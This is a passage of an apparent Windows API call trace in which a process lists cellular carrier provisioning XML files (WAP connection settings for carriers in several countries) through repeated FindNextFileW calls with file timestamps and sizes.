dwReserved1=0x0, cFileName="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="102__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", cAlternateFileName="103__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="104__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="105__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="106__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="107__C~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="108__C~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="109__C~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="10__CO~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="110__C~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="111__C~1.PRO")) returned 1 [0123.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="112__C~1.PRO")) returned 1 [0123.315] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="113__C~1.PRO")) returned 1 [0123.315] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="114__C~1.PRO")) returned 1 [0123.315] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="115__C~1.PRO")) returned 1 [0123.317] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="116__C~1.PRO")) returned 1 [0123.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="117__C~1.PRO")) returned 1 [0123.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="118__C~1.PRO")) returned 1 [0123.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="119__C~1.PRO")) returned 1 [0123.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="11__CO~1.PRO")) returned 1 [0123.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="120__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="121__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="122__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", cAlternateFileName="123__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="124__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="125__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="126__C~1.PRO")) returned 1 [0123.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="127__C~1.PRO")) returned 1 [0123.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="128__C~1.PRO")) returned 1 [0123.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="129__C~1.PRO")) returned 1 [0123.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="12__CO~1.PRO")) returned 1 [0123.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="130__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="131__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="132__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="133__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="134__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="135__C~1.PRO")) returned 1 [0123.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="136__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="137__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="138__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="139__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="13__CO~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: 